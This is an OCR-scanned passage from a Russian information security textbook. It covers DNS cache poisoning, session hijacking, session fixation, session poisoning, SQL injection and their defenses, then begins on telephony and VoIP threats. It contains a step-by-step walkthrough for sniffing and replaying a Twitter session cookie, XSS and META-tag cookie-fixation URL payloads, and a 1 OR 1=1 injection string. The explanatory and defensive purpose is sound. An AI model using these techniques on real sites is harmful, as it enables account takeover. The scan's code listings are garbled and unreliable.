ns. victim.com. 

Чтобы выполнить такую атаку, атакующий должен заставить DNS
сервер-жертву выполнить запрос о любом из доменов , для которого 
DNS-cepвep атакующего является авторитетным. 

Первый вариант отравления DNS-кeшa заключается в неренанрав
лении DNS-cepвepa, авторитетного для домена злоумышленника, на 
DNS-cepвep домена-жертвы, то есть назначении DNS-cepвepy IР
адреса, указанного злоумышленником. 

Запрос от DNS-cepвepa жертвы: какова А-запись для subdomain. 
hacker.com? 

s u bdomain . h a c ke r . com . IN А 

Ответ злоумышленника: 

An swe r :  

( п о r e s po n se ) 

Au t h o ri  ty secti o n : 

h a c ke r . com . 3 600  I N  N S  n s . v ictim . c om . 

Ad d i  t i o n al secti o n : 

n s . v ictim . c om . I N  А 1 . 1 . 1 . 1  
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Атакуемый сервер сохранит А-запись (IР-адрес) ns.victim.com, ука
занную в дополнительной секции, в кете, что позволит атакующему 
отвечать на последующие запросы для всего домена victim.com. 

Другим способом атаки является подмена NS-заниси для другого 
домена жертвы. 

Второй вариант атаки заключается в неренанравлении DNS 
cepвepa другого домена, не относящегося к первоначальному запросу, 
на IР-адрес, указанный атакующим. 

Запрос DNS-cepвepa: какова А-запись для subdomain.victim.com? 

s u bdomain . h a c ke r . com . IN А 

Ответ злоумышленника: 

An swe r :  

( п о r e s po n se ) 

Au t h o ri  ty secti o n : 

v i c t i m . com . 3 600  I N  N S  n s .  h a c k e r .  com . 

Ad d i  t i o n al secti o n : 

n s . h a c ke r . com . I N  А 1 . 1 . 1 . 1  

Атакуемый сервер сохранит не относящуюся к запросу информа
цию о NS-заниси для victim.com в кете, что позволит атакующему 
отвечать на последующие запросы для всего домена victim.com. 

Возможность для реализации атаки существует из-за того , что 
DNS-cepвep использует предсказуемый номер порта для отправки 
DNS-занросов . Злоумышленник может угадать номер порта, кото
рый используется для отправки данных, и с помощью специально 
сформированного ложного DNS-ответа подменить данные в кете 
DNS-cepвepa. 

Примером реализации атаки на отравление DNS-кema можно счи
тать экснлоит, разработанный для системы Metasploit, - http: //www. 
caughq.org/exploits/CA U-EX-2008-0002.txt/. 

Для устранения уязвимости необходимо установить исправления 
не только на хосты, которые находятся под вашим контролем, но и на 
все серверы имен, которые участвуют в обмене данными, иначе всегда 
будет существовать возможность снуфинг-атаки. 

Исправления доступны для Windows, Linux, UNIX и других си
стем. Для получения исправления обратитесь к соответствующему 
производителю. Список производителей доступен но адресу: http:// 
www.kb.cert.org/vuls/id/800 1 13. 
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Для предотвращения атак на отравление кеша DNS необходимо вы
полнить ряд действий, описанных в этом разделе. Многие атаки на 
кеш могут быть предотвращены на стороне DNS-cepвepoв с помощью 
уменьшения степени доверия к информации, приходящей от дру
гих DNS-cepвepoв, или даже игнорирования любых DNS-занисей, 
не относящихся прямо к запросам. Так, к примеру, последние вер
сии сервера DNS BIND выполняют такие проверки. Кроме того, ис
пользование случайных UDР-нортов для выполнения DNS-занросов 
может существенно снизить вероятность успешной атаки на кеш. 
Однако не стоит забывать, что различное межсетевое оборудование 
(маршрутизаторы, файрволлы) ,  через которое проходят запросы 
к DNS-cepвepaм и выполняющее трансляцию адресов (NAT),  или, 
более конкретно, трансляцию портов ( РАТ),  часто подменяет порт, 
используемый для выполнения запросов, для отслеживания соеди
нения. При этом устройства, выполняющие РАТ, обычно применяют 
свои алгоритмы нумерации исходящих портов,  тем самым теряя слу
чайность при выборе порта, созданную DNS-cepвepoм. 

Более мощным средством защиты является безопасный DNS 
( DNSSEC)  - он использует электронно-цифровую подпись с по
строением цепочки доверия для определения целостности данных. 
Применение DNSSEC может свести результативность атак на кеш 
к нулю, и к 201 1 году внедрение DNSSEC идет уже быстрыми темпа
ми (большинство доменных зон gTLD, таких как .com, .net, .org, уже 
подписаны DNSSEC) .  Начиная с июля 2010  года корневые серверы 
DNS содержат корневую зону DNS, подписанную при помощи стан
дартов DNSSEC. 

Атакам на кеш также можно противопоставить транспортный уро
вень либо уровень приложений модели O SI, так как на этих уровнях 
могут быть использованы цифровые подписи. К примеру, в безопас
ной версии НТТР НТТРS-нользователь может проверить, имеет ли 
сервер, с которым он соединился, сертификат ЭЦП и кому этот сер
тификат принадлежит. Похожий уровень безопасности имеет SSH, 
когда программа-клиент проверяет ЭЦП удаленного сервера при 
инициации соединения. Соединение с помощью IPSEC не установит
ся, если клиентом и сервером не будут предъявлены заранее извест
ные ключи ЭЦП. Приложения, которые загружают свои обновления 
автоматически, могут иметь встроенную копию сертификата Э ЦП 
и проверять подлинность обновлений с помощью сравнения ЭЦП 
сервера обновлений со  встроенным сертификатом. 
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Веб -нриложения в последние годы набирают все большую попу
лярность. Множество различных систем управления, документо 
оборота, электронной почты и другие системы используют веб.  
В связи с этим количество атак, связанных со взломом портальных 
решений , неизменно увеличивается . Помимо атак, связанных со 
взломом веб-серверов и их контента, существуют также атаки на 
базы данных, используемых при работе веб-норталов. Есть также 
и атаки , позволяющие выполнить произвольный код в браузере 
пользователя , просматривающего веб-страницу. Все эти атаки я 
рассмотрю далее. 

2. 5. 7. Атаки на веб через управление сессиями 

Атаки на веб-приложения через систему управления 
сессиями 
Еще одним уязвимым местом являются веб-нриложения. Конечно, 
разработка корпоративных веб-норталов обычно поручается про
фессионалам - веб-нрограммистам, но системный администратор и 
тем более специалист но ИБ должны иметь представление о сущест
вующих уязвимостях в веб-нриложениях. Кроме того, в небольших 
компаниях сисадмин зачастую занимается разработкой и поддерж
кой корпоративного портала. Так что приведенная далее информация 
будет полезна многим. 

Современные веб-норталы используют в качестве веб-сервера пре
имущественно Apache. Существует, конечно, IIS ( Internet Information 
Services ), работающий под Windows, но большинство хостингов все 
равно используют связку FreeBSD/Linux+Apache. Для хранения дан
ных, с которыми работает веб-нортал, обычно применяется MySQL 
или PostgreeSQL. В высоконагруженных промышленных системах 
может использоваться Oracle. 

В качестве языка сценариев обычно берут РНР или Perl. Сущест
вуют также высокоуровневые средства разработки портальных ре
шений от Microsoft, но в данном разделе мы не будем их касаться 
в силу меньшей их распространенности, но сравнению с бесплатными 
FreeBSD, Apache, MySQL, РНР. 

В качестве практического примера рассмотрим атаки на РНР
нриложение через систему управления сессиями. Основными при
чинами возможности данных атак являются отсутствие проверки 
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идентификатора сессии пользователя и отсутствие проверки данных, 
хранящихся в сессии. 

Рассмотрим возможные варианты атак на приложение. 

Кража сессии (Session Hijacking) 

Суть атаки заключается в использовании злоумышленником иден
тификатора сессии, принадлежащего легальному пользователю, для 
выдачи себя за владельца сессии. Узнать идентификатор чужой сес
сии можно с помощью перехвата трафика легального пользователя, 
организации ХSS-атаки или с помощью перебора. 

Общий алгоритм осуществления атаки следующий. 
Атакующий собирает информацию об IР-адресах жертвы и том 

ресурсе, доступ к которому необходимо получить. 
Затем следует дождаться, когда атакуемый подключится к целе

вому ресурсу. 
Далее злоумышленнику надо запустить ARP relay. 
Когда жертва подключилась к целевому ресурсу и начала работу 

с ним, атакующий видет в сниффере новое активное соединение. Да
лее взломщик производит атаку десинхронизацией ТСР /IP, которая 
уже описывалась ранее. Соединение жертвы �отваливается� с по
мощью принудительной отправки RSТ-накета. 

Далее злоумышленник может работать от имени жертвы и с ее 
учетными нравами. 

Атакуемый вынужден заново неренодключиться к целевому ресур
су, справедливо полагая, что произошел аппаратный сбой соединения. 
Злоумышленник отправляет ему RSТ. 

Когда хакер закончит работу с системой, он прекращает посылать 
RST и отключает ARP-relay. 

Взломанный пользователь снова может работать с системой. 
Как нетрудно понять из описания, для реализации такой атаки 

необходимо быть подключенным к одному коммутатору, что и атакуе
мый. То есть фактически находиться в одной локальной сети с жерт
вой (рис. 30) .  

На рисунке представлена топология сети и состояния АRР-таблиц 
в процессе осуществления атаки. 

В более простом случае злоумышленник может попробовать взло
мать чужую сессию с помощью подмены cookies. 

Вот небольшой пример подобной атаки на практике. 
Для ее реализации необходимы сниффер, например Wireshark, 

браузер (например, Firefox) и редактор Cookies (можно использовать 
add-on к Firefox). 



attacker 

[еа:1 a:de:ad.be.:01] 
[еа:1 a:de:ad:be.:02] 
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..д..Р.Р tаЪlе before 

victim taтget ( 1 2 9  95.М.N) at 0-10-d-O-aa-bb 

ARP tаЫе afte.r: 
tGiget (129 .95.М.N) at ea-la-de- ad-be-1 

8 : 0 :20 :3c :Ob:2d 

1 28.95ХУ 128.95 . X Z  

ARP tаЫе Ъe.fore· 

RolJ.te.r victi:m (129 .95. X.Z) at 8-0-20-З c - b - 2 d  
tЭJget (129.95.М.N) a t  0 - 1 0 - d-a-b-c 

ARP tаЫе afte.r: 
victi:m (129.95 . Х.У) at е.:э.-1 э.-dе-аd-Ье-2 
taтget (129.95.М.N) at еа-1 a- de-ad-Ъe-1 

128.95.МN 

target 

Рис. 30. Принцип атаки 

Атакуемый нользователь осуществляет нодключение к норталу 
социальной сети. 

Взломщик нроизводит сниффинг трафика. По окончании нерехва
та трафика злоумышленнику необходимо найти нереданные нользо
вателем cookies. Сделать это в Wireshark можно следующим образом. 
Нажать Ctrl-F or Edit � Find Packet. В ноле Ву: необходимо выбрать 
String и Search In онцию Packet details , в текстовом ноле нужно 
указать Set-Cookie: (рис. 31 ) . 

Когда нужный накет будет найден, необходимо нажать нравую 
кнонку мыши и выбрать Follow ТСР Stream. Далее в этом нотоке 
можно обнаружить накет, аналогичный нриведенному на рис. 32. 

Это и есть необходимый cookie. Далее нужно открыть редактор 
Cookie Editor (Tools � Cookie Editor). Затем нажать Add и указать 
следующее (рис. 33): 

О Name: _twitter_sess; 
О Content: сору paste the information from the ТСР Stream (see the 

red Ьох in the Session Cookie Found from ТСР Stream picture) ;  
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"8 Wires.h a rk: Find Packet 

Search In Stri n g  O pti ons Di rection 

® Packet l i >t EJ С а >е sen >itive @ !ip 
а P a cket d eta i l s: Ch a ra cter s.et: б Qown 

® Packet byte> 1 А5СП U n i c o d e & N o n - U n i c o[::J 
):ielp Eind 1 [ .(;ancel  

Рис. 3 J . Перехват сессии 

Рис. 32. Перехват пакета 

О Domain: .twitter.com; 
О Path: /. 
В случае уснешной реализации тенерь для входа на сайт злоумыш

леннику не требуется указывать учетные данные, достаточно нросто 
зайти на страницу. 



Add/Edit Cookie 

Information a b out the s.elected Cookie 
Na m e:  _ЬNitter_ses.s 
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C ontent: BAh7 Dj o Т c G Fzc3 dvc m Rfd G9rll'l4 i L  TQЗ M\IJES N\IJJ m M G ElZl'I 

D o m a i n : .twitter.com 

Path: 

Send For: 1� Any type of c o n n ecti o n  (.) Encrypted c o n n ecti ons on ly 

Expires:: 
@ Expire at end of s.es:s. i a n 

О New expi ration d ate: 

Save ] [ C l ose 

Рис. 33. Редактор Cookie 

Кратко вынолняются следующие действия: 

1 )  нерехват трафика; 
2) обнаружение накета, содержащего Set-Cookie; 
3) установка Cookie в редакторе Cookie Editor add-on; 
4) обращение к нужному сайту. 

Фиксация сессии (Session Fixation) 

Для осуществления этой атаки злоумышленнику не нужен иденти
фикатор чужой сессии, достаточно установить идентификатор своей 
сессии легальному нользователю, нрошедшему авторизацию. Как и 
в нредыдущем случае, создается ситуация, когда злоумышленник и 
легальный нользователь имеют один и тот же идентификатор сессии. 

Фиксация сессии (Session Fixation) нредставляет собой метод на
надения, который нринудительно устанавливает идентификатор сес
сии в онределенное значение. В зависимости от функциональности 
атакуемого сайта, чтобы «зафиксировать�> идентификатор сессии, 
может быть нрименено множество различных методов. Затем иден
тификатор нользовательской сессии фиксируется, и злоумышленник 
ожидает тех, кто будет входить в систему. Как только нользователь 
сделает это, злоумышленник иснользует нредонределенное значение 
идентификатора сессии, чтобы нолучить его онлайн-идентификацию 
со всеми вытекающими носледствиями. 

Существуют два тина систем унравления сессиями: «свободные�> и 
«строгие�> .  Тин сессии онределяется в зависимости от того, как фор
мируются значения идентификаторов . Первый тин систем нозволяет 
веб-браузерам указывать любой идентификатор. Второй тин систем 
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принимает только значения, сформированные на сервере. В свобод
ных системах произвольный идентификатор сессии обрабатывается 
вообще без обращения к веб-сайту. Строгие системы требуют от зло
умышленника обслуживания �сессии-ловушки� с периодическим 
обращением к веб-сайту для предотвращения тайм-аутов но неактив
ности. 

Без активной защиты от фиксации сессии атака может быть пред
принята против любого веб-сайта, использующего сессии для иден
тификации подлинности пользователей. Веб-сайты, использующие 
идентификаторы сессий, обычно применяют Cookie, также применя
ются URL и скрытые ноля форм. К сожалению, сессии, основанные 
на Cookie, проще для нападений. 

В отличие от похищения идентификаторов сессий пользователей, 
выполняемых после их входа на веб-сайт, фиксация сессии предо
ставляет значительно более широкие возможности для нападения. 
Активная часть нападения делается до входа пользователей в систему. 

Рассмотрим пример классической фиксации пользовательской 
сессии. 

Существуют три этана фиксации: 

1 )  установка; 
2) фиксация; 
3) вхождение. 

На нервом этане злоумышленник устанавливает �сессию-ловуш
ку� на атакуемый сайт и получает этот идентификатор сессии. Или 
злоумышленник для нападения может выбрать случайный идентифи
катор сессии. Но тогда значение, установленное сессией-ловушкой, 
должно поддерживаться (чтобы �быть живым� ) с повторными со
единениями с веб-сайтом. 

Затем на следующем этане злоумышленник помещает значение 
сессии-ловушки в браузер пользователя и фиксирует идентификатор 
пользовательской сессии. И на третьем этане злоумышленник ожи
дает, пока пользователь не войдет в систему атакуемого сайта. Как 
только пользователь делает это, значение фиксированного идентифи
катора сессии будет использовано, и злоумышленник может начать 
работу со взломанной системой. 

Для фиксации идентификатора пользовательской сессии может 
быть выполнен один из следующих методов:  

О выдача cookie с использованием клиентского скрипта; 
О выдача нового значения идентификатора сессии в cookie с ис

пользованием клиентского скрипта; 
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О межсайтовое программирование в слабых местах системы защи
ты веб-сайта может быть использовано для изменения текущего 
значения cookie. 

h t t p : //exam ple/< s c r i p t > d o c u me n t . c ookie= " se s s i o n id = 1 234 ; %20domain= . example . 

c om " ; </sc r i p t > . i d c  

Вот пример выдачи cookie с использованием МЕТА-тега. Этот 
метод эффективен, особенно когда блокиратор межсайтового 
программирования предотвращает инъекцию тегов НТМL
скринтов, но не МЕТА-тегов. 

h t t p : //exam ple/<meta%2 0 h t t p - e q u iv=Se t - Co o k i e%20c o n t e n t = " s e s s io n i d = 1 234 ; %20 

d omai n = . exa m p l e . c om " > . i d c  

О выдача cookie с использованием НТТР-заголовка ответа. 

Злоумышленник вызывает или на целевом веб-сайте, или на лю
бом из его ноддоменов выдачу cookie с идентификатором сессии. Это 
может быть выполнено разными путями: 

О взлом веб-сервера в домене (например, плохо поддерживаемый 
сервер) ;  

О заражение пользовательского DNS-cepвepa, практически добав
ление веб-сервера злоумышленника в атакуемый домен (этот 
тин атак уже описывался чуть выше в разделе, посвященном 
DNS) ;  

О установка злонамеренного веб-сервера в атакуемый домен (на
пример, на рабочей станции в Windows2000 домен, все рабочие 
станции также находятся в DNS-домене) ;  

О использование атаки разбиения НТТР-ответа. 

Здесь также стоит отметить, что длительная атака фиксации сессии 
может быть выполнена выдачей постоянных cookies (например, со 
временем жизни 10 лет), которые будут держать фиксацию сессии 
даже после перезагрузки пользователем компьютера. Вот пример: 

http : //exam ple/< s c r i p t > d o c u me n t . cookie= " s e s s i o n i d = 1 2 3 4 ; %20Ex pi res=F r i d ay , %20  

1 - J a n 20 1 7%2000 : 00 : 00%20GMT " ; </sc r i p t > . i d c  

Отравление сессии (Session Poisoning) 

Угроза отравленной сессии возникает, если злоумышленник имеет воз
можность установить свой РНР-сценарий на сервере, где исполняется 
атакуемое приложение. Суть атаки заключается в том, что если РНР
нриложения исполняются на одном сервере, то велика вероятность 
того, что, зная идентификатор сессии, злоумышленник сможет рабо
тать с данными сессии, созданной в атакуемом приложении. Отравле-
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ние возможно, если атакуемое приложение имеет ошибку, позволяю
щую выполнять произвольный код, и если веб-нриложение работает 
на сервере вместе с приложениями других пользователей хостинга. 

Цель данной атаки - это получение доступа к значениям сессии 
с возможностью чтения/записи.  В случае успеха злоумышленник 
сможет читать и/или фальсифицировать любое значение, хранящее
ся в сессии. Отравления используют для получения персональных 
данных других пользователей, а также для модификации собственной 
сессии, для выдачи себя за другого и/или повышения привилегий. 

Вот простейший пример данной атаки: 

$va r = $_G EТ [ " somet h i n g " ] :  

$_SES S I O N [ " $va r " ]  = $va r2 : 

2. 5. 8. Защита DNS 

И так, рассмотрев вкратце основные варианты атак через систему 
управления сессиями, поговорим о средствах противодействия. Ос
новная идея защиты от подобных атак заключается в том, чтобы при
вязать идентификатор сессии к браузеру пользователя. Для этого 
нужно использовать заголовки НТТР-занроса для создания подписи 
браузера пользователя. В момент старта сессии данное значение вы
числяется и сохраняется в переменной сессии. При повторном обра
щении мы снова вычисляем подпись браузера и сравниваем получен
ный результат со значением из сессии. Если значения не совпадают, 
то мы расцениваем это как попытку взлома и уничтожаем сессию. 
При этом, конечно,  пострадает и сессия легального пользователя, 
возможно, ему придется заново авторизоваться, но идентификатор 
сессии, полученный злоумышленником, не будет актуальным. 

Еще одно средство защиты - это запрет использования методов 
GET и POST для передачи идентификатора сессии. Для передачи 
идентификатора нужно использовать cookies. Дело в том, что если 
идентификатор передается, к примеру, в строке вида http/ j:mysite.loc 
indех.рhр?РНРSЕSSID=<идентификатор сессии злоумышленника >, 
в этом случае веб-сервер присвоит пользователю идентификатор сес
сии злоумышленника. Кроме того, идентификатор сессии, входящий 
в состав U RL, может быть опубликован самим пользователем вместе 
с ссылкой на сайт. 

При этом велика вероятность кражи сессии. Для борьбы с этой 
угрозой необходимо использовать cookies. 

Еще одним средством защиты является регенерирация иденти
фикатора сессии. Например , если злоумышленник готовит атаку 
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с подменой сессии. Однако если приложение будет регенерировать 
идентификатор пользователя при авторизации, то злоумышленник 
не сможет осуществить подмену идентификатора. Для успешной за
щиты от подмены сессии необходимо регенерировать идентификатор 
в следующих случаях: в момент создания новой сессии и в момент 
изменения привилегий пользователя. Не стоит регенерировать иден
тификатор сессии при каждом запросе пользователя, так как пользо
ватель не сможет корректно работать с данной страницей в несколь
ких окнах браузера. Также если пользователь осуществит переход на 
предыдущую страницу с помощью кнопки браузера �назад�, то это 
приведет к разрушению текущей сессии. 

На этом я завершаю тему атак на веб-нриложение через систему 
управления сессиями. Думаю, основные принципы реализации атак 
на веб-норталы через управление сессиями мной бьти представлены. 

2. 5. З. Пµетекеп Sysl•! 

Внедрение S QL-кoдa (англ. SQL injection) - один из самых рас 
пространенных способов взлома сайтов и программ, работающих с 
базами данных, основанный на внедрении в запрос произвольного 
SQL-кoдa. При правильной настройке системы управления базами 
данных вероятность успешной реализации SQL-инъекций можно 
свести к нулю. Но обо всем но порядку. Начнем с описания угрозы. 

Внедрение SQL в зависимости от тина используемой СУБД и усло
вий внедрения может дать возможность атакующему выполнить про
извольный запрос к базе данных (например, прочитать содержимое 
любых таблиц, удалить, изменить или добавить данные),  получить 
возможность чтения и/или записи локальных файлов и выполнения 
произвольных команд на атакуемом сервере. 

Атака тина внедрения SQL может быть возможна из-за некоррект
ной обработки входных данных, используемых в SQL-зaнpocax. 

Разработчик прикладных программ, работающих с базами данных, 
должен знать о таких уязвимостях и принимать меры противодей
ствия внедрению SQL. 

Допустим, серверное ПО, получив входной параметр id, исполь
зует его для создания SQL-зaнpoca. Рассмотрим следующий РНР
скринт: 

$id = $_R EOUESТ [ . i d . ] ;  

$ re s  = mysq l_q u e ry ( " S E LECT * F ROM  news  WH E R E  id  news  $ i d " ) ;  
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Если на сервер передан параметр id, равный 5 (например, так: 
http://example.org/script.php?id=S),  то выполнится следующий SQL
зaнpoc: 

S E LECT * FROM news WH E R E  i d_n ews = 5 

Но если злоумьштенник передаст в качестве параметра id стро
ку - 1 O R 1 = 1  (например, так: http://example.org/script.php?id=- 1 
+OR+ 1 = 1 ) , то выполнится запрос: 

S E LECT * F ROM  news  WH E R E  i d_n ews = -1  O R  1 = 1 

Таким образом, изменение входных параметров путем добавления 
в них конструкций языка SQL вызывает изменение в логике выпол
нения SQL-зaнpoca (в данном примере вместо новости с заданным 
идентификатором будут выбраны все имеющиеся в базе новости, по
скольку выражение 1 = 1  всегда истинно) .  

Защита от атак типа внедрение SQL-кoдa 

В этом разделе в качестве примеров будут приводиться фрагменты 
исходного кода на различных языках программирования, взятые из 
статьи в Викинедии. 

Для защиты от данного тина атак необходимо тщательно фильтро
вать входные параметры, значения которых будут использованы для 
построения SQL-зaнpoca. 

Предположим, что код, генерирующий запрос, выглядит так: 

statem e n t  : = S E LECT * F R O M  u s e r s  WH E R E  name  = 
" 

+ u s e r N ame + 

Чтобы внедрение кода было невозможно, для некоторых СУБД, 
в том числе для MySQL, требуется брать в кавычки все строковые 
параметры. В самом параметре заменяют кавычки на \'' ,  апостроф 
на \' ,  обратную косую черту на \\ (это называется @кранировать 
спецсимволы� ) .  Это можно делать таким кодом: 

statem e n t  : =  ' S E LECT * F ROM  u s e r s  WH E R E  name  = · + Q u o t e P a r am ( u s e r N ame ) + 

f u n c t i o n  O u o t e P a ram ( s  st r i n g ) s t ri n g ; 

{ на входе - строка ; на выходе - строка в ка выч ках и с з амененными с п е цс и м волами } 

va r 

i i n t e g e r ;  

D e s t  s t  r i n g : 

b e g i n  

D e s t  

fo r i :  = 1  to  l e n g t h ( s )  d o  

c a s e  s [ i ]  o f  
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D e s t  

D e s t  

' \ ' : D e s t  

D e s t  + \ 

D e s t  + \ "  

D e s t  + \\ 

e l s e  D e s t  : = D e s t  + s [ i ] : 

e n d ; 

Q u o t e P a ram : =  D e s t  + 

e n d ; 

Для РНР фильтрация может быть такой: 

( ?  
$q u e ry = " S E LECT • F R O M  u s e r s  WH E R E  u s e r= " .  mysql_ real_e scape_ 

s t r i n g ( $ u se r ) . "  

? >  

Фильтрация целочисленных параметров 
Возьмем другой запрос: 

statem e n t  : = S E LECT • F R O M  u s e r s  WH E R E  id = + id + 

В данном случае ноле id имеет числовой тин, и его нельзя брать 
в кавычки. Поэтому @акавычивание� и замена спецсимволов на 
еsсаре-носледовательности не проходят. В таком случае помогает 
проверка тина: если переменная id не является числом, запрос во
обще не должен выполняться. 

Например, на Delphi для противодействия таким инъекциям по
могает код: 

i d _ i n t  : =  St rTo i n t ( i d ) ;  

statem e n t  : =  ' S E LECT • FROM  u s e r s  WH E R E  i d  = . + I n tТoSt r ( i d_i n t ) + . : . : 

В случае ошибки функция StrTo lnt вызовет исключение 
EConvertError, и в его обработчике можно будет вывести сообще
ние об ошибке. Двойное преобразование обеспечивает корректную 
реакцию на числа в формате $ 1 32АВ (шестнадцатеричная система 
счисления). На стандартном Паскале, не умеющем обрабатывать ис
ключения, код несколько сложнее. 

Для РНР этот метод будет выглядеть так: 

$q u e ry = . S E LECT • F R O M  u s e r s  WH E R E  id = . ( i n t )  $ i d ; 

Усечение входных параметров 
Для внесения изменений в логику выполнения SQL-зaнpoca требу
ется внедрение достаточно длинных строк. Так, минимальная длина 
внедряемой строки в вышеприведенных примерах составляет 8 сим-
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волов ( � 1 О R 1 = 1  � ) .  Если максимальная длина корректного значения 
параметра невелика, то одним из методов защиты может быть макси
мальное усечение значений входных параметров . 

Например, если известно , что ноле id в вышеприведенных при
мерах может принимать значения не более 9999, можно �отрезать 
лишние� символы, оставив не более четырех: 

statem e n t  : = S E LECT • F R O M  u s e r s  WH E R E  id = + LeftSt r ( i d .  4 )  + 

Использование параметризованных запросов 
Многие серверы баз данных поддерживают возможность отправки 
параметризованных запросов (подготовленные выражения) .  При 
этом параметры внешнего происхождения отправляются на сервер 
отдельно от самого запроса либо автоматически экранируются кли
ентской библиотекой. Для этого используются 

на  D e l p h i  - с в ойств о TQ u e ry . Pa rams . 

Например: 

va r 

sq l ,  p a ram s t r i n g : 

b e g i n  

s q l  : = · s e l e c t  : t e x t  a s  v a l u e  f rom  d u al · ;  

pa ram : = · a l p h a  · ; 
Q u e ry1  S q l . Text : =  sq l ;  

Q u e ry1 . Pa ramByName ( ' text ' )  AsSt r i n g  pa ram ; 

Q u e  ry1 . O pe n : 

S h o wM e s s ag e ( Q u e ry 1 [ ' va l u e ' ] ) :  

e n d ; 

2.6 . Угрозы I Р -телефон и и  
Говоря о безопасности приложений, не стоит забывать о такой важной 
технологии, как IР-телефония. 

Телефонная связь уже много лет является неотъемлемой частью 
жизни любой организации. Для представителей целого ряда спе
циальностей телефон является рабочим инструментом, необходи
мым для осуществления бизнес-процессов. В случае выхода из строя 
или прослушивания каналов связи у организации могут появиться 
серьезные проблемы, в частности недоступность для заказчиков, от
сутствие связи между подразделениями - все это может привести 
к простоям и убыткам. 
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Таким образом, телефония - один из наиболее критичных для биз
неса ресурсов. Зачастую наличие бесперебойной телефонной связи 
намного важнее подключения к Интернету. 

Рассмотрение проблем безопасности телефонных систем я начну 
с угроз традиционных (аналоговых) систем связи. 

Возможные уrроэы традиционной телефонии 
Основной  п роблемой любых  систем, в том ч и сле и связ и ,  я вляется 
выход из строя оборудования .  Реал изов ы в аться эта угроза может раз
л и ч ными способами , самым п ростым из которых является откл ючение  
каналов  связ и .  Для  в ы вода из строя канала  связи  зачастую даже не 
требуется ф и з и ч еского доступа к телеф о н н ым а п п а р атам или  обо
рудова н и ю  АТС, достаточно  п росто доб раться до телефон ного ка
беля,  выходящего за предел ы охра няемой террито р и и  п редп р и яти я .  
Тут следует отметить, что провода в ы в одят за контрол и руемую зону 
далеко не всегда по  п р и ч и н е  злого умысла или  неп рофесси онализма.  
Зачастую это еди нствен н ы й  способ подключиться к телефонной сети .  
Е ще одн ой  угрозой я вляется п рослуш и ва н и е  раз говоров ,  которое 
хотя и требует нал и ч и я  определенного оборудования  и соответствую
щих н а в ы ков ,  но  позволяет осуществлять съем речевой и нформаци и 
с каналов связи в не  охраняемой террито р и и  п редп р и яти я .  Реал изо
вать это на практи ке, за пределами расп редел ител ьного щитка здания  
кра йне  сл ожно,  однако стоит помнить о существова н и и  такой  угроз ы .  
Также существует ряд угроз, связа нных  с испол ьзованием физического 
доступа к телефонному оборудованию .  Н а п ример,  это в ы вод из строя 
каналов связи посредством перекоммутации  соеди нений  в кроссовой  
панел и .  Хотя здесь проще всего п росто в ы р в ать провода из п л и нтов  
панел и .  Е сл и телефонисты не вел и  журнал кросси ровки  или  и нфор
мация в нем неактуал ьна ,  восстановление  коммутации  может занять 
очень  много времен и .  
Существуют и более э кзоти ческие угроз ы ,  для реал изаци и которых  
требуется не тол ько ф и з и ч ески й доступ к телефонному оборудова
н ию ,  но и п рофессионал ьные  на вык и .  Н а п р имер, это кража серв исов ,  
получение  администрати в ного доступа к АТС (допустим, со специаль
но го тел ефонн ого а п п а р ата) ,  а также испол ьзов а н и е  уяз в и мостей 
существующих стандартов телефонной сигнализаци и .  
Для  защиты от атак,  которые реал изуются тол ько п р и  нал и ч и и  физиче
ского доступа,  нужно испол ьзовать соответствующие мер ы безопас
ности в ор га н изаци и .  То есть отсутств и е  возможности подключения  
к телефонному оборудо в а н и ю  для посторонних .  
Дл я  п р едотв р а ще н и я  п р ослуш и в а н и я  и с п ол ьзуются а н ал о го в ы е  
скрембл е р ы ,  осуществл яющие  разб и е н и е  спектра  си гнала  на  не
скол ько областей ,  поворот некоторых  из н их  вокруг несущих частот 
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и переме ш и в а н и е .  Н адежность та кой  защиты относител ьная  - рас
ш и фровка может занять до нескол ьких часов  в з а в и симости от ис
п ол ьзуемого а л го р итм а .  Ц и ф р о в ы е  скрембл е р ы  или к р и пто ф о н ы  
оци ф р о в ы в а ют анало го в ы й  си гнал и сме ш и в а ют с о  случ а й ной  п о 
следовател ьностью .  Н е  зная  кл юча ,  расш и фровать такой си гнал не
возможно .  Генерато р ы  шума за шумляют л и н и ю ,  тем самым усл ожняя 
прослуш и ва н и е .  
Для  защиты тради цион н ых а налоговых  систем телефонной связи таких 
мер в п олне  достаточно ,  однако современные  цифровые  ста нда рты 
связи имеют более слож н ы й  п р и н ц и п  работы и ,  соответственно ,  под
вержены большему кол ичеству разл и ч ных  атак .  
Далее мы будем говорить тол ько об I Р-телефон и и  и угрозах, которым 
она подвержена .  

Что такое VolP? 
I Р -тел ефо н и я ,  или Vo l P , - система с в я зи ,  обеспеч и в а ющая переда
чу речев ого си гнала по  сети И нтернет . Я не буду п одробно  останав 
л и в аться на  методах работы Vo l P , та к  как  п р едпол а га ю ,  что ч ита
тел и ,  и нтересующиеся безопасностью да н н о й  технологи и ,  должны  
б ыть з н а комы с ее основами . Однако  удел ю немного в н и м а н и я  
п р отоколам, ис пол ьзуемым в сов реме н н ых системах I Р -телефо н и и .  
Основн ыми их  задачами я в л яются регистрация  I Р -устройств а  (шл юз,  
терминал  или  I Р -тел ефон )  на  сер в ере или гейткипере  п р о в а йдера ,  
в ызов  и/или  переадреса ция  в ызова ,  установление  гол осового и л и  
в и деосоеди н е н и я ,  передача  имени  и/или  номера  абонента .  В на 
стоя щее в р емя ш и р о кое р а с п р о стр а н е н и е  п олуч и л и  следу ю щ и е  
Vо l Р - п р отокол ы :  
S I P  - п р отокол сеа нсового установлени я  связ и ,  обеспеч и в а ю щ и й  
передачу голоса, в идео, сооб щен и й  систем мгновенного обмена со
об щен и й  и п роизвол ьной  на грузки ,  для си гнал изации  об ы ч н о  испол ь
зует порт 5060 U D P ;  
Н.323 - набор протоколов ,  п редназначенных  для регистрации  терми
налов на гейткипере .  Испол ьзует порты 1 720 ТСР и 1 7 1 9  ТСР;  
IAX2 - испол ьзуется дл я си гнал и зации  и переда ч и  меди атр а ф и ка 
через 4569  U D Р-порт; 
MGCP (Media Gateway Coпtrol P rotocol )  - протокол управления  ме
диашлюзами;  
Megaco/H .248 - п р отокол управления  меди ашлюзами ,  раз в итие  
MGCP ;  
SIGTRAN - п р отокол туннел и р о в а н и я  PSTN си гнал и з а ц и и  О КС-7 
через IP на  п р ограммн ы й  коммутатор (SoftSwitch); 
SCTP (Stream Coпtrol Т гaпsm iss ioп P гotocol )  - п р отокол для ор га н иза
ции  га рантированной  доста в ки пакетов  в I Р-сетях; 
